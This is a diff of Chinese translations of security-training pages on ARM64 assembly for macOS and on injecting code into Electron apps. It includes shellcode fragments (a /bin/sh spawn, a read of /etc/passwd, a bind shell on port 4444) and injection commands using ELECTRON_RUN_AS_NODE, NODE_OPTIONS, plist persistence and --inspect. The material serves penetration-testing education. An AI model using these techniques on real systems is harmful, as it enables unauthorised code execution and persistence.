10. **`pc`** - **程序计数器**指向下一条指令。此寄存器只能通过异常生成、异常返回和分支进行更新。唯一可以读取此寄存器的普通指令是带链接的分支指令BLBLR以将**`pc`**地址存储在**`lr`**(链接寄存器)中。
11. **`xzr`** - **零寄存器**。在其**32**位寄存器形式中也称为**`wzr`**。可以用来轻松获取零值(常见操作)或使用**`subs`**进行比较,如**`subs XZR, Xn, #10`**,将结果数据存储在无处(在**`xzr`**中)。
@ -47,7 +47,7 @@ ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以
### SIMD和浮点寄存器
此外,还有另外**32个128位长度的寄存器**可用于优化的单指令多数据SIMD操作和执行浮点算。这些称为Vn寄存器尽管它们也可以在**64**位、**32**位、**16**位和**8**位中操作,然后称为**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**和**`Bn`**。
此外,还有另外**32个128位长度的寄存器**可用于优化的单指令多数据SIMD操作和执行浮点算。这些寄存器称为Vn寄存器尽管它们也可以在**64**位、**32**位、**16**位和**8**位中操作,然后称为**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**和**`Bn`**。
### 系统寄存器
@ -55,7 +55,7 @@ ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以
它们只能通过专用的特殊指令**`mrs`**和**`msr`**进行读取或设置。
特殊寄存器**`TPIDR_EL0`**和**`TPIDDR_EL0`**在逆向工程中常见。`EL0`后缀表示可以访问寄存器的**最小异常**在这种情况下EL0是常规程序运行的常规异常特权级别。\
它们通常用于存储**线程局部存储**内存区域的**基地址**。通常第一个寄存器对在EL0中运行的程序可读可写但第二个寄存器可以从EL0读取并从EL1写入如内核
它们通常用于存储**线程局部存储**内存区域的基地址。通常第一个寄存器对在EL0中运行的程序可读可写但第二个寄存器可以从EL0读取并从EL1写入如内核
- `mrs x0, TPIDR_EL0 ; 将TPIDR_EL0读取到x0中`
- `msr TPIDR_EL0, X0 ; 将x0写入TPIDR_EL0`
@ -75,18 +75,18 @@ ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以
- 两个正数的和产生负结果。
- 两个负数的和产生正结果。
- 在减法中,当从较小的正数中减去较大的负数(或反之),结果无法在给定位数范围内表示。
- 显然,处理器不知道操作是有符号因此它将在操作中检查C和V并在发生进位时指示是否为有符号或无符号
- 显然,处理器不知道操作是有符号的还是无符号的因此它将在操作中检查C和V并在发生进位时指示。
> [!WARNING]
> 并非所有指令都会更新这些标志。一些指令如**`CMP`**或**`TST`**会更新其他带有s后缀的指令如**`ADDS`**也会更新。
- 当前**寄存器宽度(`nRW`)标志**如果标志的值为0则程序在恢复后将以AArch64执行状态运行。
- 当前**异常级别****`EL`**在EL0中运行的常规程序将具有值0。
- **单步执行**标志(**`SS`**):由调试器使用,通过在异常中将SS标志设置为1来单步执行。程序将执行一步并发出单步异常。
- **非法异常**状态标志(**`IL`**):用于标记特权软件执行无效异常级别转移时,此标志设置为1处理器触发非法状态异常。
- **单步执行**标志(**`SS`**):由调试器使用,通过异常将SS标志设置为1以进行单步执行。程序将执行一步并发出单步异常。
- **非法异常**状态标志(**`IL`**用于标记特权软件执行无效异常级别转移时此标志设置为1处理器触发非法状态异常。
- **`DAIF`**标志:这些标志允许特权程序选择性地屏蔽某些外部异常。
- 如果**`A`**为1则表示将触发**异步中止**。**`I`**配置为响应外部硬件**中断请求**IRQ。F与**快速中断请求**FIR相关。
- **堆栈指针选择**标志(**`SPS`**在EL1及以上运行的特权程序可以在使用自己的堆栈指针寄存器和用户模型之间切换例如在`SP_EL1``EL0`之间)。此切换通过写入**`SPSel`**特殊寄存器执行。此操作无法从EL0完成。
- **堆栈指针选择**标志(**`SPS`**在EL1及以上运行的特权程序可以在使用自己的堆栈指针寄存器和用户模型之间切换例如`SP_EL1``EL0`之间)。此切换通过写入**`SPSel`**特殊寄存器执行。此操作无法从EL0完成。
## **调用约定 (ARM64v8)**
@ -96,11 +96,11 @@ ARM64调用约定规定**前八个参数**通过寄存器**`x0`到`x7`**传
### Swift中的调用约定
Swift有自己的**调用约定**,可以在[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)中找到。
Swift有自己的**调用约定**,可以在[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)中找到。
## **常见指令 (ARM64v8)**
ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`**是要执行的**操作**(如`add``sub``mov`等),**`dst`**是将存储结果的**目标**寄存器,**`src1`**和**`src2`**是**源**寄存器。立即值也可以替代源寄存器使用。
ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`**是要执行的**操作**(如`add``sub``mov`等),**`dst`**是将存储结果的**目标**寄存器,**`src1`**和**`src2`**是**源**寄存器。立即值也可以替代源寄存器使用。
- **`mov`****移动**一个值从一个**寄存器**到另一个。
- 示例:`mov x0, x1` — 这将值从`x1`移动到`x0`
@ -114,13 +114,13 @@ ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`**
- `str lr, [sp, #-4]!`,将链接寄存器存储在`sp`中并更新寄存器`sp`
- **后索引模式**:这类似于前一个,但内存地址被访问,然后计算并存储偏移。
- `ldr x0, [x1], #8`,加载`x1``x0`并用`x1 + 8`更新`x1`
- **PC相对寻址**:在这种情况下,加载的地址相对于PC寄存器计算
- **PC相对寻址**在这种情况下加载的地址相对于PC寄存器计算。
- `ldr x1, =_start`,这将加载`_start`符号开始的地址到`x1`与当前PC相关。
- **`str`****存储**一个值从一个**寄存器**到**内存**。
- 示例:`str x0, [x1]` — 这将值存储在`x0``x1`指向的内存位置。
- **`ldp`****加载寄存器对**。此指令**从**连续的内存**位置加载两个寄存器。内存地址通常通过将偏移添加到另一个寄存器的值来形成。
- **`ldp`****加载寄存器对**。此指令**从**连续的内存**位置加载两个寄存器。内存地址通常通过将偏移添加到另一个寄存器的值来形成。
- 示例:`ldp x0, x1, [x2]` — 这将从`x2``x2 + 8`的内存位置加载`x0``x1`
- **`stp`****存储寄存器对**。此指令**将两个寄存器存储到**连续的内存**位置。内存地址通常通过将偏移添加到另一个寄存器的值来形成。
- **`stp`****存储寄存器对**。此指令**将两个寄存器存储到**连续的内存**位置。内存地址通常通过将偏移添加到另一个寄存器的值来形成。
- 示例:`stp x0, x1, [sp]` — 这将`x0``x1`存储到`sp``sp + 8`的内存位置。
- `stp x0, x1, [sp, #16]!` — 这将`x0``x1`存储到`sp+16``sp + 24`的内存位置,并用`sp+16`更新`sp`
- **`add`****将**两个寄存器的值相加并将结果存储在一个寄存器中。
@ -139,7 +139,7 @@ ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`**
- **`mul`****乘以**两个寄存器的值并将结果存储在一个寄存器中。
- 示例:`mul x0, x1, x2` — 这将`x1``x2`中的值相乘并将结果存储在`x0`中。
- **`div`****除以**一个寄存器的值并将结果存储在一个寄存器中。
- 示例:`div x0, x1, x2` — 这将`x1`的值除以`x2`并将结果存储在`x0`中。
- 示例:`div x0, x1, x2` — 这将`x1`的值除以`x2`并将结果存储在`x0`中。
- **`lsl`**、**`lsr`**、**`asr`**、**`ror`**、**`rrx`**
- **逻辑左移**从末尾添加0移动其他位乘以n次2
- **逻辑右移**从开头添加1移动其他位无符号除以n次2
@ -151,29 +151,29 @@ ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`**
- 有符号位域移动:`SBFM Xd, Xn, #r, #s`
- 无符号位域移动:`UBFM Xd, Xn, #r, #s`
- **位域提取和插入**:从一个寄存器复制位域并将其复制到另一个寄存器。
- **`BFI X1, X2, #3, #4`** 从X1的第3位插入X2的4位
- **`BFI X1, X2, #3, #4`** 从X2的第3位插入4位到X1
- **`BFXIL X1, X2, #3, #4`** 从X2的第3位提取4位并复制到X1。
- **`SBFIZ X1, X2, #3, #4`** 从X2的4位进行符号扩展并插入到X1从第3位开始右侧位清零。
- **`SBFIZ X1, X2, #3, #4`** 从X2扩展4位并插入到X1从第3位开始右侧位清零。
- **`SBFX X1, X2, #3, #4`** 从X2的第3位提取4位进行符号扩展并将结果放入X1。
- **`UBFIZ X1, X2, #3, #4`** 从X2的4位进行零扩展并插入到X1从第3位开始右侧位清零。
- **`UBFX X1, X2, #3, #4`** 从X2的第3位提取4位并将零扩展的结果放入X1。
- **符号扩展到X**:扩展一个值的符号或在无符号版本中仅添加0,以便能够与其执行操作:
- **`SXTB X1, W2`** 将W2的字节符号扩展到X1`W2``X2`的一半)以填充64位。
- **`SXTH X1, W2`** 将W2的16位数的符号扩展到X1以填充64位。
- **`SXTW X1, W2`** 将W2的字节符号扩展到X1以填充64位。
- **`UXTB X1, W2`** 将0无符号添加到W2的字节中以填充64位。
- **`UBFIZ X1, X2, #3, #4`** 从X2扩展4位并插入到X1从第3位开始右侧位清零。
- **`UBFX X1, X2, #3, #4`** 从X2的第3位提取4位并将零扩展的结果放入X1。
- **符号扩展到X**扩展值的符号或在无符号版本中仅添加0以便能够进行操作:
- **`SXTB X1, W2`** 将字节符号扩展**从W2到X1**`W2``X2`的一半以填充64位。
- **`SXTH X1, W2`** 将16位数的符号扩展**从W2到X1**以填充64位。
- **`SXTW X1, W2`** 将字节的符号扩展**从W2到X1**以填充64位。
- **`UXTB X1, W2`** 将0无符号添加到字节**从W2到X1**以填充64位。
- **`extr`**:从指定的**连接的寄存器对**中提取位。
- 示例:`EXTR W3, W2, W1, #3` 这将**连接W1+W2**并获取**从W2的第3位到W1的第3位**并存储在W3中。
- **`cmp`****比较**两个寄存器并设置条件标志。它是**`subs`**的**别名**,将目标寄存器设置为零寄存器。用于知道`m == n`
- 它支持与**`subs`**相同的语法。
- 示例:`cmp x0, x1` — 这将比较`x0``x1`中的值并相应地设置条件标志。
- **`cmn`****比较负**操作数。在这种情况下,它是**`adds`**的**别名**支持相同的语法。用于知道`m == -n`
- 示例:`cmp x0, x1` — 这将比较`x0``x1`中的值并相应地设置条件标志。
- **`cmn`****比较负**操作数。在这种情况下,它是**`adds`**的**别名**,支持相同的语法。用于知道`m == -n`
- **`ccmp`**条件比较它是仅在先前比较为真时执行的比较并将特定设置nzcv位。
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> 如果x1 != x2且x3 < x4则跳转到func
- 这是因为**`ccmp`**仅在**先前的`cmp``NE`时执行**,如果不是,`nzcv`将设置为0这不会满足`blt`比较)。
- 这是因为**`ccmp`**仅在**先前的`cmp``NE`时执行,如果不是,位`nzcv`将设置为0这不会满足`blt`比较)。
- 这也可以用作`ccmn`(相同但为负,如`cmp``cmn`)。
- **`tst`**检查比较的值是否都为1它的工作方式类似于不存储结果的AND。用于检查寄存器与值并检查寄存器中指示的任何位是否为1。
- 示例:`tst X1, #7` 检查X1的最后3位是否1。
- **`tst`**检查比较的值是否都为1它的工作方式类似于不存储结果的AND。用于检查寄存器与值并检查寄存器中指示的位是否为1。
- 示例:`tst X1, #7` 检查X1的最后3位是否1。
- **`teq`**XOR操作丢弃结果。
- **`b`**:无条件分支。
- 示例:`b myFunction`
@ -182,7 +182,7 @@ ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`**
- 示例:`bl myFunction` — 这调用函数`myFunction`并将返回地址存储在`x30`中。
- 请注意,这不会用返回地址填充链接寄存器(不适合需要返回的子例程调用)。
- **`blr`****带链接的分支到寄存器**,用于**调用**一个**子例程**,目标在**寄存器**中**指定**。将返回地址存储在`x30`中。
- 示例:`blr x1` — 这调用地址在`x1`包含的函数,并将返回地址存储在`x30`中。
- 示例:`blr x1` — 这调用地址在`x1`中的函数,并将返回地址存储在`x30`中。
- **`ret`****从子例程返回**,通常使用**`x30`**中的地址。
- 示例:`ret` — 这使用`x30`中的返回地址从当前子例程返回。
- **`b.<cond>`**:条件分支。
@ -214,7 +214,7 @@ ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`**
- 示例:`ldrsw x0, [x1]` — 这从`x1`指向的内存位置加载一个有符号的32位值符号扩展到64位并存储在`x0`中。
- **`stur`****将寄存器值存储到内存位置**,使用来自另一个寄存器的偏移。
- 示例:`stur x0, [x1, #4]` — 这将值存储在`x0`到比当前在`x1`中的地址大4字节的内存地址。
- **`svc`**:进行**系统调用**。它代表“监督调用”。当处理器执行此指令时,它**从用户模式切换到内核模式**并跳转到内存中**内核的系统调用处理**代码所在的特定位置。
- **`svc`**:进行**系统调用**。它代表“监督调用”。当处理器执行此指令时,它**从用户模式切换到内核模式**并跳转到内存中内核的系统调用处理代码所在的特定位置。
- 示例:
@ -240,13 +240,13 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
```armasm
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
```
3. **Return**: `ret`(使用链接寄存器中的地址将控制权返回给调用者)
3. **Return**: `ret` (使用链接寄存器中的地址将控制权返回给调用者)
## AARCH32 执行状态
Armv8-A 支持执行 32 位程序。**AArch32** 可以在 **两种指令集** 中运行:**`A32`** 和 **`T32`**,并可以通过 **`interworking`** 在它们之间切换。\
**特权** 64 位程序可以通过执行异常级别转移到较低特权的 32 位程序来调度 **32 位** 程序的 **执行**。\
请注意,从 64 位到 32 位的过渡发生在异常级别降低时例如EL1 中的 64 位程序触发 EL0 中的程序)。这是通过在 `AArch32` 进程线程准备执行时将 **`SPSR_ELx`** 特殊寄存器的 **第 4 位** 设置为 **1** 来完成的,其余的 `SPSR_ELx` 存储 **`AArch32`** 程序的 CPSR。然后特权进程调用 **`ERET`** 指令,使处理器过渡到 **`AArch32`**,根据 CPSR 进入 A32 或 T32。\*\*
**特权** 64 位程序可以通过执行异常级别转移到较低特权的 32 位程序来调度 **32 位** 程序的执行。\
请注意,从 64 位到 32 位的过渡发生在异常级别降低时例如EL1 中的 64 位程序触发 EL0 中的程序)。这是通过在 `AArch32` 进程线程准备执行时将 **`SPSR_ELx`** 特殊寄存器的 **第 4 位** 设置为 **1** 来完成的,其余的 `SPSR_ELx` 存储 **`AArch32`** 程序的 CPSR。然后特权进程调用 **`ERET`** 指令,使处理器过渡到 **`AArch32`**,根据 CPSR 进入 A32 或 T32**。**
**`interworking`** 通过 CPSR 的 J 和 T 位发生。`J=0``T=0` 表示 **`A32`**,而 `J=0``T=1` 表示 **T32**。这基本上意味着将 **最低位设置为 1** 以指示指令集为 T32。\
这在 **interworking 分支指令** 中设置,但也可以在 PC 设置为目标寄存器时通过其他指令直接设置。示例:
@ -262,7 +262,7 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
mov r0, #0
mov r0, #8
```
### 寄存器
### Registers
有16个32位寄存器r0-r15。**从r0到r14**可以用于**任何操作**,但是其中一些通常是保留的:
@ -272,8 +272,8 @@ mov r0, #8
- **`r13`**:栈指针
- **`r14`**:链接寄存器
此外,寄存器在**`银行寄存器`**中备份。这些是存储寄存器值的地方,允许在异常处理和特权操作中执行**快速上下文切换**,以避免每次手动保存和恢复寄存器。\
这是通过**将处理器状态从`CPSR`保存到处理器模式的`SPSR`**来完成的,异常返回时,**`CPSR`**从**`SPSR`**恢复。
此外,寄存器在**`banked registries`**中备份。这些是存储寄存器值的地方,允许在异常处理和特权操作中执行**快速上下文切换**,以避免每次手动保存和恢复寄存器的需要。\
这是通过**将处理器状态从`CPSR`保存到`SPSR`**来完成的,保存到异常发生的处理器模式中。在异常返回时,**`CPSR`**从**`SPSR`**恢复。
### CPSR - 当前程序状态寄存器
@ -290,16 +290,16 @@ mov r0, #8
- **`N`**、**`Z`**、**`C`**、**`V`** 标志与AArch64相同
- **`Q`** 标志:每当执行专用饱和算术指令时,**整数饱和**发生时设置为1。一旦设置为**`1`**它将保持该值直到手动设置为0。此外没有任何指令隐式检查其值必须手动读取。
- **`GE`**大于或等于标志用于SIMD单指令多数据操作如“并行加”和“并行减”。这些操作允许在单个指令中处理多个数据点。
- **`GE`**大于或等于标志用于SIMD单指令多数据操作如“并行加”和“并行减”。这些操作允许在单个指令中处理多个数据点。
例如,**`UADD8`** 指令**并行添加四对字节**来自两个32位操作数并将结果存储在32位寄存器中。然后**根据这些结果设置`APSR`中的`GE`标志**。每个GE标志对应于一个字节加法指示该字节对的加法是否**溢出**。
例如,**`UADD8`** 指令**并行添加四对字节**来自两个32位操作数并将结果存储在32位寄存器中。然后,它**根据这些结果设置`APSR`中的`GE`标志**。每个GE标志对应于一个字节加法指示该字节对的加法是否**溢出**。
**`SEL`** 指令使用这些GE标志执行条件操作。
#### 执行状态寄存器
- **`J`** 和 **`T`** 位:**`J`** 应为0如果 **`T`** 为0则使用指令集A32如果为1则使用T32。
- **IT块状态寄存器**`ITSTATE`):这些是10-15和25-26的位。它们存储**`IT`**前缀组内指令的条件。
- **IT块状态寄存器**`ITSTATE`这些是10-15和25-26的位。它们存储**`IT`**前缀组内指令的条件。
- **`E`** 位:指示**字节序**。
- **模式和异常掩码位**0-4它们确定当前执行状态。**第5位**指示程序以32位1或64位0运行。其他4位表示**当前使用的异常模式**(当发生异常并正在处理时)。设置的数字**指示当前优先级**,以防在处理此异常时触发另一个异常。
@ -315,7 +315,7 @@ mov r0, #8
### Mach陷阱
查看[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)中`mach_trap_table`,以及[**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)中原型。Mach陷阱的最大数量为`MACH_TRAP_TABLE_COUNT` = 128。Mach陷阱将具有**x16 < 0**因此您需要用**负号**调用前面列表中的数字**`_kernelrpc_mach_vm_allocate_trap`****`-10`**。
[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)中查看`mach_trap_table`,在[**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)中查看原型。Mach陷阱的最大数量为`MACH_TRAP_TABLE_COUNT` = 128。Mach陷阱将具有**x16 < 0**因此您需要用**负号**调用前面列表中的数字**`_kernelrpc_mach_vm_allocate_trap`****`-10`**。
您还可以在反汇编器中检查**`libsystem_kernel.dylib`**以找到如何调用这些和BSD系统调用
```bash
@ -336,13 +336,13 @@ XNU 支持另一种称为机器依赖的调用。这些调用的数量取决于
### comm 页面
这是一个内核拥有的内存页面,映射到每个用户进程的地址空间中。它旨在使从用户模式到内核空间的过渡比使用系统调用更快,因为这些内核服务的使用频率很高,这样的过渡会非常低效。
这是一个内核拥有的内存页面,映射到每个用户进程的地址空间中。它旨在使从用户模式到内核空间的转换比使用系统调用更快,因为这些内核服务的使用频率很高,这样的转换会非常低效。
例如,调用 `gettimeofdate` 直接从 comm 页面读取 `timeval` 的值。
### objc_msgSend
在 Objective-C 或 Swift 程序中,找到这个函数是非常常见的。这个函数允许调用 Objective-C 对象的方法。
在 Objective-C 或 Swift 程序中,找到这个函数是非常常见的。这个函数允许调用一个 Objective-C 对象的方法。
参数([文档中更多信息](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)
@ -350,7 +350,7 @@ XNU 支持另一种称为机器依赖的调用。这些调用的数量取决于
- x1: op -> 方法的选择器
- x2... -> 被调用方法的其余参数
因此,如果在调用此函数的分支之前设置断点,你可以很容易地在 lldb 中找到被调用的内容(在这个例子中,对象调用了 `NSConcreteTask` 一个对象,该对象将运行一个命令):
因此,如果在调用此函数的分支之前设置断点,你可以很容易地在 lldb 中找到被调用的内容(在这个例子中,对象调用了一个来自 `NSConcreteTask` 的对象,该对象将运行一个命令):
```bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
@ -393,7 +393,7 @@ whoami
### Shellcodes
编译:
编译:
```bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
@ -487,7 +487,7 @@ sh_path: .asciz "/bin/sh"
```
{{#endtab}}
{{#tab name="使用栈"}}
{{#tab name="with stack"}}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
@ -518,7 +518,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
```
{{#endtab}}
{{#tab name="使用 adr for linux"}}
{{#tab name="with adr for linux"}}
```armasm
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
@ -539,7 +539,7 @@ sh_path: .asciz "/bin/sh"
#### 使用 cat 读取
目标是执行 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数 (x1) 是一个参数数组(在内存中这意味着一堆地址)。
目标是执行 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数 (x1) 是一个参数数组(在内存中这意味着一堆地址的栈)。
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -611,7 +611,7 @@ touch_command: .asciz "touch /tmp/lalala"
```
#### Bind shell
来自 [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) 的 Bind shell 在 **port 4444**
[https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) 在 **port 4444** 中的 Bind shell
```armasm
.section __TEXT,__text
.global _main

View File

@ -1,4 +1,4 @@
# macOS Electron 应用程序注入
# macOS Electron Applications Injection
{{#include ../../../banners/hacktricks-training.md}}
@ -7,21 +7,21 @@
如果你不知道 Electron 是什么,你可以在 [**这里找到很多信息**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation)。但现在只需知道 Electron 运行 **node**。\
而 node 有一些 **参数****环境变量** 可以用来 **执行其他代码**,而不是指定的文件。
### Electron 保险丝
### Electron Fuses
这些技术将在接下来讨论,但最近 Electron 添加了几个 **安全标志以防止它们**。这些是 [**Electron 保险丝**](https://www.electronjs.org/docs/latest/tutorial/fuses),用于 **防止** macOS 中的 Electron 应用程序 **加载任意代码**
这些技术将在接下来讨论,但最近 Electron 添加了几个 **安全标志以防止它们**。这些是 [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses),用于 **防止** macOS 中的 Electron 应用 **加载任意代码**
- **`RunAsNode`**:如果禁用,它会阻止使用环境变量 **`ELECTRON_RUN_AS_NODE`** 来注入代码。
- **`EnableNodeCliInspectArguments`**:如果禁用,参数如 `--inspect``--inspect-brk` 将不被尊重。避免通过这种方式注入代码。
- **`EnableNodeCliInspectArguments`**:如果禁用,`--inspect``--inspect-brk` 这样的参数将不被尊重。避免通过这种方式注入代码。
- **`EnableEmbeddedAsarIntegrityValidation`**:如果启用,加载的 **`asar`** **文件** 将由 macOS **验证**。以此方式 **防止** 通过修改该文件的内容进行 **代码注入**
- **`OnlyLoadAppFromAsar`**:如果启用,它将只检查并使用 app.asar而不是按以下顺序加载**`app.asar`**、**`app`**,最后是 **`default_app.asar`**。因此确保当与 **`embeddedAsarIntegrityValidation`** 保险丝 **结合** 时,**不可能** **加载未验证的代码**
- **`OnlyLoadAppFromAsar`**:如果启用,它将只检查并使用 app.asar而不是按以下顺序加载**`app.asar`**、**`app`**,最后是 **`default_app.asar`**。因此,当与 **`embeddedAsarIntegrityValidation`** fuse 结合使用时,确保 **不可能** **加载未验证的代码**
- **`LoadBrowserProcessSpecificV8Snapshot`**:如果启用,浏览器进程使用名为 `browser_v8_context_snapshot.bin` 的文件作为其 V8 快照。
另一个有趣的保险丝不会阻止代码注入的是:
另一个有趣的 fuse 不会阻止代码注入的是:
- **EnableCookieEncryption**:如果启用,磁盘上的 cookie 存储将使用操作系统级别的加密密钥进行加密。
### 检查 Electron 保险丝
### 检查 Electron Fuses
你可以通过以下方式 **检查这些标志**
```bash
@ -39,18 +39,18 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
```
### 修改 Electron Fuses
正如 [**文档提到的**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode)**Electron Fuses** 的配置是在 **Electron binary** 内部配置的,其中包含字符串 **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**。
如[**文档所述**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode)**Electron Fuses**的配置是在包含字符串**`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**的**Electron 二进制文件**内部配置的
在 macOS 应用程序中,这通常位于 `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
在 macOS 应用程序中,这通常位于`application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
您可以在 [https://hexed.it/](https://hexed.it/) 中加载此文件并搜索前面的字符串。在此字符串之后,您可以在 ASCII 中看到一个数字 "0" 或 "1",指示每个保险丝是禁用还是启用。只需修改十六进制代码(`0x30``0``0x31``1`)以 **修改保险丝值**
您可以在 [https://hexed.it/](https://hexed.it/) 中加载此文件并搜索前面的字符串。在此字符串之后,您可以在 ASCII 中看到数字 "0" 或 "1",指示每个保险丝是禁用还是启用。只需修改十六进制代码(`0x30``0``0x31``1`)以 **修改保险丝值**
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
请注意,如果您尝试 **覆盖** 应用程序内部**`Electron Framework`** 二进制文件并修改这些字节,应用程序将无法运行。
请注意,如果您尝试 **覆盖** 应用程序中已修改字节**`Electron Framework`** 二进制文件,则该应用程序将无法运行。
## RCE 向 Electron 应用程序添加代码
@ -70,11 +70,11 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
```bash
npx asar extract app.asar app-decomp
```
将其打包回,修改为:
将其打包回,修改为:
```bash
npx asar pack app-decomp app-new.asar
```
## RCE with `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
## RCE with ELECTRON_RUN_AS_NODE
根据[**文档**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node),如果设置了这个环境变量,它将以普通的 Node.js 进程启动该进程。
```bash
@ -88,7 +88,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
### 从应用程序 Plist 注入
正如 [**这里提到的**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/),您可以在 plist 中滥用环境变量以保持持久性:
正如 [**这里提到的**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/),您可以在 plist 中滥用这个环境变量以保持持久性:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -125,11 +125,11 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
> [!CAUTION]
> 如果熔断器 **`EnableNodeOptionsEnvironmentVariable`** 被 **禁用**,则应用在启动时将 **忽略** 环境变量 **NODE_OPTIONS**,除非环境变量 **`ELECTRON_RUN_AS_NODE`** 被设置,如果熔断器 **`RunAsNode`** 被禁用,该变量也将被 **忽略**
>
> 如果您不设置 **`ELECTRON_RUN_AS_NODE`**,您将会发现 **错误**`Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
> 如果您不设置 **`ELECTRON_RUN_AS_NODE`**,您将会遇到 **错误**`Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
### 从应用程序 Plist 注入
### 从 App Plist 注入
您可以在 plist 中滥用此环境变量以保持持久性,添加以下键:
您可以在 plist 中滥用此环境变量,通过添加以下键来保持持久性
```xml
<dict>
<key>EnvironmentVariables</key>
@ -147,13 +147,221 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
```
## RCE with inspecting
根据[**这个**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)的说法,如果你使用 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 等标志执行 Electron 应用程序,将会 **打开一个调试端口**,这样你就可以连接到它(例如从 Chrome 的 `chrome://inspect`),并且你将能够 **在其上注入代码**,甚至启动新进程。\
根据[**这个**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)的说法,如果你使用 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 等标志执行一个 Electron 应用程序,将会 **打开一个调试端口**,这样你就可以连接到它(例如从 Chrome 的 `chrome://inspect`),并且你将能够 **在其上注入代码**,甚至启动新进程。\
例如:
```bash
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
在[**这篇博客**](https://hackerone.com/reports/1274695)中,这种调试被滥用,使得无头 Chrome **在任意位置下载任意文件**
> [!TIP]
> 如果一个应用有其自定义的方式来检查环境变量或参数,例如 `--inspect` 是否设置,你可以尝试在运行时使用参数 `--inspect-brk` **绕过** 它,这将 **在应用开始时停止执行** 并执行一个绕过(例如,覆盖当前进程的参数或环境变量)。
